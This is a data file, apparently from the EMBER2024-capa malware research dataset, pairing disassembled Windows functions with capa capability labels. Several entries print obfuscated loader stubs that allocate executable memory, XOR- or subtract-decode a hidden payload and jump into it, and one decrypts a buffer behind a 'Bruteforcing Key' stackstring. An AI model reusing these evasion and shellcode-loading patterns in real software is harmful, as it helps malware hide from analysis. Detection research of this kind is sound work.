joyce8/EMBER2024-capa huggingface dataset:
Function at 0x410172
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
pushal
mov edx, dword [ebp + 8]
mov ax, word [edx]
cmp ax, 0x5a4d
jne 0x4101a1
mov eax, dword [edx + 0x3c]
add edx, eax
mov eax, dword [edx]
cmp eax, 0x4550
jne 0x4101a1
add edx, 4
mov dword [ebp - 4], edx
popal
mov eax, dword [ebp - 4]
leave
ret 8
popal
sub eax, eax
leave
ret 8

Function at 0x4101db
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
pushal
mov byte [ebp - 0x118], 0x42
mov byte [ebp - 0x117], 0x72
mov byte [ebp - 0x116], 0x75
mov byte [ebp - 0x115], 0x74
mov byte [ebp - 0x114], 0x65
mov byte [ebp - 0x113], 0x66
mov byte [ebp - 0x112], 0x6f
mov byte [ebp - 0x111], 0x72
mov byte [ebp - 0x110], 0x63
mov byte [ebp - 0x10f], 0x69
mov byte [ebp - 0x10e], 0x6e
mov byte [ebp - 0x10d], 0x67
mov byte [ebp - 0x10c], 0x20
mov byte [ebp - 0x10b], 0x4b
mov byte [ebp - 0x10a], 0x65
mov byte [ebp - 0x109], 0x79
mov byte [ebp - 0x108], 0
mov eax, 1
lea edi, [ebp - 0x14]
mov ecx, 0x10
mov al, 0
mov byte [edi], al
inc edi
dec ecx
jne 0x41026b
mov eax, dword [ebp + 8]
push 4
push 0x3000
push 0x5b90
push 0
call dword [eax + 0x20]
test eax, eax
je 0x4102fd
mov dword [ebp - 4], eax
mov edi, eax
mov esi, dword [ebp + 0xc]
mov ecx, 0x5b90
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 0xc]
push dword [ebp + 0xc]
push 0x5b90
call fcn.0041252b
push 0x5b90
push dword [ebp + 0xc]
call fcn.004101a8
test eax, eax
jne 0x4102df
mov esi, dword [ebp - 4]
mov edi, dword [ebp + 0xc]
mov ecx, 0x5b90
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x14]
push eax
call fcn.00410304
test eax, eax
je 0x4102fd
jmp 0x41029b
mov eax, dword [ebp + 8]
push 0x8000
push 0
push dword [ebp - 4]
call dword [eax + 0x28]
test eax, eax
je 0x4102fd
popal
mov eax, 1
leave
ret 8
popal
sub eax, eax
leave
ret 8

Function at 0x4125ec
Capabilities:
Terminate process

Disassembly:
call fcn.004125f9
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x1000be60
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
jne 0x1000be69
ret
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x24]
push edx
mov edx, dword [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x24]
push edx
mov edx, dword [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x24]
push edx
mov edx, dword [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x24]
push edx
push ecx
push eax
call dword [sym.imp.kernel32.dll_CreateProcessA]
ret

Function at 0x1000c61e
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x10024140], 0
push esi
push edi
jne 0x1000c594
call fcn.1000c500
test eax, eax
je 0x1000c5d9
mov eax, dword [0x10024140]
cmp eax, 1
jne 0x1000c5b5
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x1000c5d9
jmp 0x1000c61b
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x1000c61b
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x1000c5dd
xor eax, eax
jmp 0x1000c61b
mov eax, dword [esi]
push dword [0x10024140]
call edi
mov edi, eax
test edi, edi
je 0x1000c5ff
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x1000c61b
lea edi, [esi + 0xff0]
push esi
push dword [0x10024140]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x1000c605
mov eax, esi
pop edi
pop esi
ret
jmp 0x1000c580

Function at 0x1000cc2a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10022cac]
jne 0x1000cc34
repz ret
jmp fcn.10010608

Function at 0x10016006
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x10016015
pop dword [ebp - 0x24]
mov eax, 0x728e4873
sub eax, 0x628ce85e
sub dword [ebp - 0x24], eax
push 0x40
push 0x1000
push 0x37120
push 0
mov eax, 0x23fb72c3
add eax, 0xec063eed
add eax, dword [ebp - 0x24]
call dword [eax]
mov ecx, 0x5c1b63ff
sub ecx, 0x5c1b288b
mov edi, eax
mov ebx, 0xa49c1e1
sub ebx, 0xfa470fe1
add ebx, dword [ebp - 0x24]
mov edx, 0xdaf46f3f
add edx, 0xb16f2b46
mov dword [ebp - 0x10], 0xe0a55230
mov esi, dword [ebx]
xor dword [ebp - 0xc], 0xac5f1c6f
sub esi, edx
add dword [ebp - 0x10], eax
mov dword [edi], esi
add edi, 4
add ebx, 4
loop 0x10016074
add eax, 0xe0a3
mov ebx, eax
add eax, 0xd6aadaf7
add eax, 0x2955250e
mov ecx, 0x10000000
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x40287f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x40288e
pop dword [ebp - 8]
mov eax, 0x83df8848
sub eax, 0x839f5fba
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0xbf4ae8e1
add dword [ebp - 0x18], 0x8f075c6a
mov dword [ebp - 0x14], 0xebcc1398
add dword [ebp - 0x14], 0x466738ad
mov dword [ebp - 0x10], 0x870344d
sub dword [ebp - 0x10], 0xbc23f01f
mov dword [ebp - 0xc], 0x991b1d0e
add dword [ebp - 0xc], 0x66e4e2f2
lea eax, [ebp - 0x18]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x1f88f168
sub dword [ebp - 0x18], 0xab168812
mov dword [ebp - 0x14], 0x3368ca4e
add dword [ebp - 0x14], 0xe039727
mov dword [ebp - 0x10], 0x44057065
sub dword [ebp - 0x10], 0xe09603f9
mov dword [ebp - 0xc], 0xb34e9370
sub dword [ebp - 0xc], 0xb34e9370
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x2ff72
push 0
call eax
mov ecx, 0x2d7a
mov edi, eax
mov esi, 0x14ba171f
add esi, 0xeb86e8e1
add esi, dword [ebp - 8]
mov ebx, 0xf3b8580b
xor dword [ebp - 4], 0x16384c2f
mov edx, dword [esi]
sub dword [ebp - 4], 0x5f23f515
sub edx, ebx
sub dword [ebp - 4], 0x6cfdc140
mov dword [edi], edx
add dword [ebp - 4], 0x22d0dc50
add edi, 0xa9448404
add edi, 0x56bb7c00
add esi, 4
loop 0x40299a
add eax, 0xa8bb
mov ebx, eax
add eax, 0x450b2e43
sub eax, 0x450b2e3e
mov ecx, 0x18410f11
sub ecx, 0x18010f11
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x100024be
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x100024cd
pop dword [ebp - 0x40]
mov eax, 0x9a165703
sub eax, 0x8a163236
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0xff84ad0d
add dword [ebp - 0x50], 0x4ecd983e
mov dword [ebp - 0x4c], 0x813043ee
add dword [ebp - 0x4c], 0xb1030857
mov dword [ebp - 0x48], 0xfa05031e
sub dword [ebp - 0x48], 0xadb8bef0
mov dword [ebp - 0x44], 0xe120a255
add dword [ebp - 0x44], 0x1edf5dab
lea eax, [ebp - 0x50]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0xb4583f80
sub dword [ebp - 0x50], 0x3fe5d62a
mov dword [ebp - 0x4c], 0x666f18a0
add dword [ebp - 0x4c], 0xdafd48d5
mov dword [ebp - 0x48], 0x2050d06a
sub dword [ebp - 0x48], 0xbce163fe
mov dword [ebp - 0x44], 0x4b1fe022
add dword [ebp - 0x44], 0xb4e01fde
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0x44cdd730
sub eax, 0x34cd96b4
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x3876b
push 0
call eax
mov ecx, 0x4fa5
mov ebx, eax
mov esi, 0x10009600
add esi, dword [ebp - 0x40]
mov edi, 0x75cd71fd
xor dword [ebp - 0xc], esi
mov edx, dword [esi]
add dword [ebp - 0x28], ecx
sub edx, edi
add dword [ebp - 0x3c], 0x792e8416
mov dword [ebx], edx
mov dword [ebp - 0x14], 0xec57f1e6
add ebx, 0x897c9eeb
sub ebx, 0x897c9ee7
add esi, 0x3f4f2f81
add esi, 0xc0b0d083
loop 0x100025d8
add eax, 0xf5fe208d
add eax, 0xa0310da
mov ebx, eax
add eax, 0x83144ba2
add eax, 0x7cebb463
mov ecx, 0x10000000
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0x100032c8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10007040]
jne 0x100032d2
repz ret
jmp fcn.100036ab
Function at 0x40d21d
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x419c98]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.0040a511
mov dword [ebp - 0x14], eax
cmp dword [0x459164], esi
jne 0x40d310
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40d29d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40d3f0
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40d3f0
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40d3f0
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x459164], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x459168], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x45916c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x459174], eax
test eax, eax
je 0x40d30d
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x459170], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40d335
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40d328
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40d34a
push 4
pop eax
jmp 0x40d3f2
cmp dword [ebp - 0x14], esi
je 0x40d34a
push dword [0x459164]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40d32f
mov eax, dword [0x459170]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40d3a8
cmp dword [0x459174], edi
je 0x40d3a8
push eax
call ebx
push dword [0x459174]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40d3a8
test eax, eax
je 0x40d3a8
call ecx
test eax, eax
je 0x40d39d
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40d39d
test byte [ebp - 8], 1
jne 0x40d3a8
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40d3d8
mov eax, dword [0x459168]
cmp eax, edi
je 0x40d3d5
push eax
call ebx
test eax, eax
je 0x40d3d5
call eax
mov esi, eax
test esi, esi
je 0x40d3d5
mov eax, dword [0x45916c]
cmp eax, edi
je 0x40d3d5
push eax
call ebx
test eax, eax
je 0x40d3d5
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x459164]
call ebx
test eax, eax
je 0x40d3f0
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40d3f2
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004045d8
mov esp, ebp
pop ebp
ret
Function at 0x10004fc6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x10004fd5
pop dword [ebp - 0x48]
mov eax, 0x10004fd5
sub dword [ebp - 0x48], eax
push 0x40
push 0x1000
push 0x39243
push 0
mov eax, 0x15bd62b7
sub eax, 0x5bc71e3
add eax, dword [ebp - 0x48]
call dword [eax]
mov ecx, 0x48be
xor edi, edi
add edi, eax
mov ebx, 0x95b43c1
add ebx, 0x6a6803f
add ebx, dword [ebp - 0x48]
mov edx, 0x52d0c5b2
xor dword [ebp - 0x14], 0xe22d64cd
mov esi, dword [ebx]
add dword [ebp - 0x3c], ebx
xor esi, edx
sub dword [ebp - 0x20], 0xd3bf9517
mov dword [edi], esi
add dword [ebp - 0x40], 0x7de017e4
add edi, 0x2967dae8
add edi, 0xd698251c
add ebx, 0x187f7688
sub ebx, 0x187f7684
loop 0x10005025
add eax, 0x115cb
mov ebx, eax
add eax, 0xb8079316
sub eax, 0xb8079311
mov ecx, 0x10000000
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x10007cac
Capabilities:
Read file on windows

Disassembly:
push ecx
push ecx
push ebx
push ebp
mov ebp, dword [esp + 0x14]
push esi
push edi
push 2
push 0xffffffffffffffff
push 0xffffffffffffffea
push ebp
call fcn.1001ef41
mov ebx, edx
add esp, 0x10
mov esi, eax
test ebx, ebx
jl 0x10007e1f
jg 0x10007cdb
test esi, esi
jb 0x10007e1f
mov edi, dword [esp + 0x20]
push 0x16
push edi
push ebp
call fcn.10017328
add esp, 0xc
test eax, eax
js 0x10007e1f
movzx ecx, byte [edi + 3]
movzx eax, byte [edi + 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi]
shl ecx, 8
or ecx, eax
cmp ecx, 0x6054b50
jne 0x10007d3d
push edi
call fcn.1000822e
pop ecx
test eax, eax
je 0x10007d34
push ebx
push esi
push edi
push ebp
call fcn.1001ef41
add esp, 0x10
mov esi, eax
mov ebx, edx
mov eax, esi
mov edx, ebx
jmp 0x10007e24
push 2
xor ebx, ebx
push ebx
push ebx
push ebp
call fcn.1001ef41
mov ebp, eax
add esp, 0x10
mov eax, edx
mov dword [esp + 0x14], eax
cmp eax, ebx
jl 0x10007e1f
jg 0x10007d66
cmp ebp, ebx
jb 0x10007e1f
mov ecx, 0x10015
cmp eax, ebx
jg 0x10007d7b
jl 0x10007d75
cmp ebp, ecx
jae 0x10007d7b
mov esi, ebp
mov ecx, eax
jmp 0x10007d7f
mov esi, ecx
mov ecx, ebx
mov eax, esi
neg eax
push 2
adc ecx, ebx
neg ecx
push ecx
push eax
push dword [esp + 0x28]
call fcn.1001ef41
add esp, 0x10
cmp edx, ebx
jl 0x10007e1f
jg 0x10007da5
cmp eax, ebx
jb 0x10007e1f
push 0x10015
call fcn.1001ef41
mov ebx, eax
pop ecx
test ebx, ebx
je 0x10007e1f
push esi
push ebx
push dword [esp + 0x24]
call fcn.10017328
add esp, 0xc
mov dword [esp + 0x10], eax
test eax, eax
js 0x10007e18
lea edx, [ebx + eax]
lea esi, [edx - 0x16]
jmp 0x10007e14
cmp byte [esi], 0x50
jne 0x10007e13
movzx ecx, byte [esi + 3]
movzx eax, byte [esi + 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 1]
shl ecx, 8
or ecx, eax
shl ecx, 8
or ecx, 0x50
cmp ecx, 0x6054b50
jne 0x10007e13
movzx ecx, byte [esi + 0x15]
movzx eax, byte [esi + 0x14]
shl ecx, 8
or ecx, eax
lea eax, [esi + 0x16]
add eax, ecx
cmp eax, edx
je 0x10007e2b
dec esi
cmp esi, ebx
jae 0x10007dd4
push ebx
call fcn.1001ef41
pop ecx
or eax, 0xffffffff
or edx, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret
push 0x16
push esi
push edi
call fcn.1000a190
push ebx
call fcn.1001ef41
mov eax, dword [esp + 0x20]
add eax, ebx
sub eax, esi
mov esi, dword [esp + 0x24]
cdq
sub ebp, eax
push edi
sbb esi, edx
call fcn.1000822e
add esp, 0x14
test eax, eax
je 0x10007e6b
push esi
push ebp
push edi
push dword [esp + 0x28]
call fcn.1001ef41
add esp, 0x10
mov ebp, eax
mov esi, edx
mov eax, ebp
mov edx, esi
jmp 0x10007e24
Function at 0x1001ef41
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x1001ef50
pop dword [ebp - 0x3c]
mov eax, 0x592d6060
add eax, 0xb6d48ef0
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x32cae8e1
sub dword [ebp - 0x4c], 0xe478a396
mov dword [ebp - 0x48], 0x8b996155
add dword [ebp - 0x48], 0xa699eaf0
mov dword [ebp - 0x44], 0x23f56859
add dword [ebp - 0x44], 0x2856dbd5
mov dword [ebp - 0x40], 0x23f1816b
add dword [ebp - 0x40], 0xdc0e7e95
lea eax, [ebp - 0x4c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x2ae5fbac
add dword [ebp - 0x4c], 0x498c6daa
mov dword [ebp - 0x48], 0x5b1e20b3
add dword [ebp - 0x48], 0xe64e40c2
mov dword [ebp - 0x44], 0x6c04346c
add dword [ebp - 0x44], 0xf76b3800
mov dword [ebp - 0x40], 0x1b15811b
add dword [ebp - 0x40], 0xe4ea7ee5
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0x3fcae300
add eax, 0xd0376d54
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x4525e
push 0
call eax
mov ecx, 0x5bf5184e
add ecx, 0xa40b491a
xor esi, esi
add esi, eax
mov edi, 0x50766c06
add edi, 0xbf8cedfa
add edi, dword [ebp - 0x3c]
mov edx, 0x93305b70
sub edx, 0x7dd1340e
add dword [ebp - 0x20], 0xc8b00d61
mov ebx, dword [edi]
sub dword [ebp - 0x2c], edi
sub ebx, edx
xor dword [ebp - 0x28], 0xb8d4a1f2
mov dword [esi], ebx
mov dword [ebp - 0x18], 0xeafea64b
add esi, 0x22037a28
sub esi, 0x22037a24
add edi, 0x5cdc2847
sub edi, 0x5cdc2843
loop 0x1001f06f
add eax, 0xdf8318d5
add eax, 0x207e5f9e
mov ebx, eax
add eax, 5
mov ecx, 0x432e5467
sub ecx, 0x332e5467
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x9005560
Capabilities:
Hash data with crc32

Disassembly:
push esi
mov esi, ecx
xor ecx, ecx
lea edx, [esi + 4]
mov eax, ecx
mov dword [esi], ecx
shr eax, 1
test cl, 1
je 0x9005578
xor eax, 0xedb88320
mov dword [esi], eax
test al, 1
je 0x9005587
shr eax, 1
xor eax, 0xedb88320
jmp 0x9005589
shr eax, 1
mov dword [esi], eax
test al, 1
je 0x9005598
shr eax, 1
xor eax, 0xedb88320
jmp 0x900559a
shr eax, 1
mov dword [esi], eax
test al, 1
je 0x90055a9
shr eax, 1
xor eax, 0xedb88320
jmp 0x90055ab
shr eax, 1
mov dword [esi], eax
test al, 1
je 0x90055ba
shr eax, 1
xor eax, 0xedb88320
jmp 0x90055bc
shr eax, 1
mov dword [esi], eax
test al, 1
je 0x90055cb
shr eax, 1
xor eax, 0xedb88320
jmp 0x90055cd
shr eax, 1
mov dword [esi], eax
test al, 1
je 0x90055dc
shr eax, 1
xor eax, 0xedb88320
jmp 0x90055de
shr eax, 1
mov dword [esi], eax
test al, 1
je 0x90055ed
shr eax, 1
xor eax, 0xedb88320
jmp 0x90055ef
shr eax, 1
mov dword [esi], eax
inc ecx
mov dword [edx], eax
add edx, 4
cmp ecx, 0x100
jb 0x9005568
mov ecx, esi
call fcn.09005650
mov eax, esi
pop esi
ret

Function at 0x900b9ba
Capabilities:
Get common file path

Disassembly:
push 0x224
mov eax, 0x90a0d65
call fcn.090070c5
cmp byte [ebp + 0x10], 0
mov edi, dword [ebp + 8]
push 0x2b
pop esi
push 0x1a
pop eax
cmovne esi, eax
xor ebx, ebx
push 0x208
lea eax, [ebp - 0x218]
push ebx
push eax
call sub.MSVCR120.dll_memset
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
mov eax, esi
or eax, 0x8000
cmp byte [ebp + 0xc], bl
push ebx
push ebx
cmovne esi, eax
push esi
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x900ba16
xor al, al
jmp 0x900ba66
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x230]
call fcn.0900bde7
push dword [ebp + 0xc]
lea ecx, [ebp - 0x230]
mov dword [ebp - 4], ebx
push str.Adobe
call fcn.0900d4f9
test al, al
je 0x900ba59
lea eax, [ebp - 0x230]
mov ecx, edi
push eax
call fcn.09018e9f
mov ecx, edi
call fcn.0900e3c3
mov bl, al
lea ecx, [ebp - 0x230]
call fcn.0900e42b
mov al, bl
call fcn.09008ed9
ret
Function at 0x904d5db
Capabilities:
Get memory capacity

Disassembly:
push 0x28
mov eax, 0x90a35cc
call fcn.09005525
mov esi, ecx
lea eax, [ebp - 0x34]
mov dword [ebp - 0x34], 0x20
push eax
call dword [sym.imp.kernel32.dll_GlobalMemoryStatus]
mov eax, dword [ebp - 0x24]
xor ecx, ecx
sub eax, dword [ebp - 0x20]
sub eax, dword [esi + 8]
sbb ecx, dword [esi + 0xc]
js 0x904d646
jg 0x904d610
test eax, eax
jb 0x904d646
mov edx, dword [esi + 4]
imul edi, edx, 3
test ecx, ecx
jg 0x904d646
jl 0x904d620
cmp eax, edi
ja 0x904d646
cmp edx, eax
jae 0x904d63a
mov ecx, dword [esi]
sub eax, edx
and dword [ebp - 4], 0
push eax
call fcn.09018e9f
jmp 0x904d646
jbe 0x904d646
mov ecx, dword [esi]
sub edx, eax
push edx
call fcn.09018e9f
call fcn.09005ef4
ret
Function at 0x906891a
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x14c
mov eax, 0x90a4789
call fcn.090070c5
mov eax, dword [ebp + 8]
xor ebx, ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x158], eax
lea eax, [ebp - 0x14c]
push eax
push 0x20019
push ebx
push str.SOFTWARE
push 0x80000002
mov dword [ebp - 0x14c], ebx
mov dword [ebp - 0x140], ebx
mov dword [ebp - 0x148], ebx
mov dword [ebp - 0x13c], ebx
mov dword [ebp - 0x144], ebx
call edi
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x9068986
mov dword [ebp - 0x14c], ebx
jmp 0x9068b06
lea eax, [ebp - 0x140]
push eax
push 0x20019
push ebx
push str.Adobe
push dword [ebp - 0x14c]
call edi
test eax, eax
je 0x90689af
mov dword [ebp - 0x140], ebx
jmp 0x9068b06
lea eax, [ebp - 0x148]
push eax
push 0x20019
push ebx
push str.Color
push dword [ebp - 0x140]
call edi
test eax, eax
je 0x90689d8
mov dword [ebp - 0x148], ebx
jmp 0x9068b06
lea eax, [ebp - 0x13c]
push eax
push 0x20019
push ebx
push str.Monitor
push dword [ebp - 0x148]
call edi
test eax, eax
je 0x9068a01
mov dword [ebp - 0x13c], ebx
jmp 0x9068b06
lea eax, [ebp - 0x150]
mov dword [ebp - 0x150], 0x104
push eax
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x154]
push eax
push ebx
push str.Primary_Monitor
push dword [ebp - 0x13c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x9068a52
cmp dword [ebp - 0x154], 4
jne 0x9068a52
mov eax, dword [ebp - 0x120]
cmp eax, 0x3e7
ja 0x9068b06
jmp 0x9068a54
mov eax, ebx
push eax
push str.Monitor_u
lea eax, [ebp - 0x1c]
push 0xb
push eax
call fcn.09018e9f
add esp, 0x10
lea eax, [ebp - 0x144]
push eax
push 0x20019
push ebx
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x13c]
call edi
test eax, eax
je 0x9068a90
mov dword [ebp - 0x144], ebx
jmp 0x9068b17
lea eax, [ebp - 0x150]
mov dword [ebp - 0x150], 0x104
push eax
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x154]
push eax
push ebx
push str.Monitor_Profile
push dword [ebp - 0x144]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x9068b06
cmp dword [ebp - 0x154], 1
jne 0x9068b06
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 0x138]
call fcn.090160db
mov ecx, dword [ebp - 0x158]
lea eax, [ebp - 0x138]
push eax
mov dword [ebp - 4], ebx
call fcn.09018e9f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x138]
call fcn.0900e42b
mov bl, 1
cmp dword [ebp - 0x144], 0
je 0x9068b17
push dword [ebp - 0x144]
call esi
cmp dword [ebp - 0x13c], 0
je 0x9068b28
push dword [ebp - 0x13c]
call esi
cmp dword [ebp - 0x148], 0
je 0x9068b39
push dword [ebp - 0x148]
call esi
cmp dword [ebp - 0x140], 0
je 0x9068b4a
push dword [ebp - 0x140]
call esi
cmp dword [ebp - 0x14c], 0
je 0x9068b5b
push dword [ebp - 0x14c]
call esi
mov al, bl
call fcn.09008ed9
ret